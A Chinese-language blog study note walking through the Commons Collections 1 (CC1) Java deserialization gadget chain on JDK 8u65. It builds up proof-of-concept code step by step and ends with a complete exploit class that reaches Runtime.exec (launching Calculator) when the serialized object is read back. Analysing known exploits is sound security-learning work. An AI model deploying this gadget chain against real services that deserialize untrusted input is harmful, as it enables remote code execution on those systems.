前言
咕咕咕了一段时间Java的学习,趁着上个月的事情忙完,接着来学习复现一下著名的CommonsCollections1也就是CC1链的漏洞分析
环境
我参考的是白日梦组长的,首先JDK版本下载jdk8u65的,因为这个漏洞在高版本中是被修复了的,然后导入对应版本的sun包java源码,方便调试分析
下载链接
JDK8u65
openjdk 8u65
下好后,先在IDEA里创建一个maven项目,然后选择对应版本的jdk,导入解压出来的src目录(记得把openjdk的sun包放进去)

然后下载maven的依赖,这里选择的版本是3.2.1

分析
首先这里引用一下白日梦组长的反序列化攻击的思路

入口需要一个readObject
,然后尾部需要有如命令执行的危险方法。所以我们的思路是从后往前找
根据前人的总结,我们知道寻找Transformer接口去挖掘漏洞

它有一个transform的方法,接收一个对象,然后进行一些操作。
我们主要看他的一些实现类

这个地方,我们主要先看这个InvokerTransformer
,它的transform方法就是一个反射任意调用类,并且参数我们都可控,很像是一个后门的写法。

所以我们先尝试利用这个类来执行命令
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}); invokerTransformer.transform(runtime);
|

成功执行了
接着我们的任务就是去找调用transform的不同名函数,因为如果是同名,那就无法构成链了,不能到别的方法里,就没有意义。
这里的话,采用idea的find usages
,但是它只能找java文件,不能找class文件,所以这也是为啥之前要导入sun包源码。

然后我们找到了这个TransformedMap
的checkSetValue
方法,它的这个valueTransformer
调用了transform
方法,并且这个类的构造方法是一个protected,所以他只能自己调用,我们找一下

发现在这个decorate这里调用了

尝试构造一下POC
Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"});
HashMap<Object, Object> hashMap = new HashMap<>(); Map map = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class<TransformedMap> transformedMapClass = TransformedMap.class; Method checkSetValue = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class); checkSetValue.setAccessible(true); checkSetValue.invoke(map,runtime);
|
我们就可以利用decorate去创建TransformedMap
对象,因为作用域是protected
,所以我们无法直接获取,再去调用其checkSetValue
方法,然后会触发transform
,我们跟进去发现成功执行。

然后我们接着继续找哪个地方调用了checkSetValue
,发现是TransformedMap
的父类,抽象类,AbstractInputCheckedMapDecorator
内部的MapEntry
类

setValue()
实际上就是在 Map 中对一组 entry(键值对)进行操作,比如对Map进行遍历的时候。
于是我们在进行对调用decorate
方法的Map遍历时,调用setValue()
然后就会走到checkSetValue
我们来更新一下POC
Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("key", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
for (Map.Entry entry: transformedMap.entrySet()) { entry.setValue(runtime); }
|

到这一步我们的目的就变成了,如果有一个遍历数组的地方,然后调用了setValue()
方法,最好是在readObject
方法里,这样我们就能直接构造POC了
继续find usages

AnnotationInvocationHandler
首先看名字我们知道他是一个动态代理处理的类

这里需要满足两个if条件判断,才能走到setValue

AnnotationInvocationHandler
的作用域为 default
,我们需要通过反射的方式来获取这个类及其构造函数
先构造出简单的poc再一一解决问题
Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("key", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object obj = constructor.newInstance(Override.class,transformedMap);
serialize(obj); unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
|
现在存在三个问题
一:Runtime对象不可以序列化,我们要通过反射去变成可序列化
二:之前那两个if判断
三:最后setValue的参数对象是一个代理类,我们不可控
首先第一个,我们可以利用Runtime.class来序列化,并且将它改写为InvokerTransformer
版本调用
Method getRuntimeMethod = (Method) new InvokerTransformer("getRuntime", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}).transform(getRuntimeMethod); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}).transform(runtime);
|
然后可以利用ChainedTransformer
,做一个递归的调用,减少代码的复用量
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
|
接着第二个问题,if判断,我们下断点

发现第一个memberType判断不过去,因为在这里获取传参注解的成员方法

所以我们知道,我们这里传的是一个override的注解,而他是没有成员方法的,所以过不去第一个判断。

我们可以改成这两个,并且设置hashMap.put
中键为value,绕过第二个if

成功进来,但是第三个问题,setValue()
处中的参数不可控,是 AnnotationTypeMismatchExceptionProxy
类
这个时候就要想到之前的ConstantTransformer
,

他的transform
方法,无论传入什么,他都返回之前构造方法的那个iConstant
存的对象
所以我们先传入一个 Runtime.class
,然后无论 他的transform()
方法调用任何对象,都会返回 Runtime.class
所以这也就是最终的POC
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException;
import java.util.HashMap; import java.util.Map;
public class CommonsCollections1 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value", "qqw"); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object obj = constructor.newInstance(Target.class,transformedMap);
serialize(obj); unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
}
|

总结

这条链看起来是那么的巧合,让我认识到了我速成的Java基础还是不太行,总之,多调试多分析。
参考
https://drun1baby.github.io/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/#toc-heading-1
https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.788&vd_source=18a3ab614a59493e37ea0cb1f984fb56